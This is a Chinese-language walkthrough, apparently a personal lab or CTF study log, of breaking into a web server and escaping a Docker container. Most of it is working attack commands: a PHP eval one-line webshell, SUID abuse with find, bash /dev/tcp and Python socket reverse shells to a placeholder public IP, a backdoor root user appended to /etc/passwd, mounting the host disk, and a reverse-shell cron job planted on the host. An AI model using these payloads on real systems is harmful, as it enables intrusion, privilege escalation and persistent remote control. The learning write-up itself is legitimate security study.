简单dockers逃逸学习
1. 目标界面
搞半天,没进去。。。。
经过提示,了解到了一句话执行的原理,
1 | @eval($_POST["cmd"]); |
一句话在每次执行时,接收变量cmd传进去的参数 cmd=phpinfo(); 使用eval函数执行 phpinfo(); 命令。
了解后就是猜参数名的过程。
2. 提权
连上shell后, whoami 查看为www-data权限,
通过uname -a 和 cat /etc/*-release 查看内核版本,没有提权exp
!
通过命令查看
1 | find / -user root -perm -4000 -print 2>/dev/null |
1 | touch suid # 也可以不用创建,只要查找的文件真实存在即可 |
3. 反弹shell ,以及获取完全交互式shell
公网nc 监听 端口
bash 反弹
1 | bash -i >& /dev/tcp/公网ip/端口 0>&1 |
失败。。。
使用 python 反弹shell 到公网
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("公网ip",监听的端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-p"]);' |
保存为shll.sh ,之后执行
到这里,反弹来的shell还有些问题:
一些命令如su和ssh,需要一个正确的终端才能运行
通常不显示STDERR
无法正常使用vim等文本编辑器
没有完成标签
没有向上箭头使用历史
没有jobcontrol等
接下来使用python获取完全交互式shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15接下来在公网的机器上执行
python -c "import pty; pty.spawn(['/bin/bash','-p'])"
启用python交互式
把它丢到后台挂起
ctrl + z
重置stty,也就意味着你看不到输入的内容
stty raw -echo
把后台挂起的程序调回前台 ,命令不显示
fg
完全刷新终端屏幕
回车 ,再回车 两次
reset
ctrl + c
接下来设置环境变量,根据第一步得到的环境变量来设置
export SHELL=bash完美了,但是反弹的shell并不是root 用户,接下来执行
find suid -exec /bin/bash -p ;
4. docker 逃逸
使用 ls -alh /.dockerenv 判断服务器是否为docker环境, 非docker环境是没有的
这是没有docker的
或者使用cat /proc/1/cgroup 查看系统进程的cgroup信息
这是没有的
fdisk -l 查看磁盘文件
新建一个目录, 将/dev/vda1挂载至新建的目录
1 | mkdir abc |
充满波折,不懂。。。
换个方法,
使用 /etc/passwd 创建root用户,
首先,使用perl语言生成带有盐值的密码:
1 | perl -le 'print crypt("password@123","addedsalt")' |
然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件
1 | echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd |
su test 切换过去
再执行 mount /dev/vda1 abc
现在能查看宿主机文件,接下来逃逸到宿主机
通过写入计划任务到宿主机
1 | echo '* * * * * bash -i >& /dev/tcp/公网ip/端口 0>&1' >> abc/var/spool/cron/root |
将python 反弹的脚本写进去,同样gg
最终,直接将反弹shell的脚本,写入宿主机的目录下
1 | vim abc/root/shell.sh |
之后,赋予权限,直接执行反弹回shell



















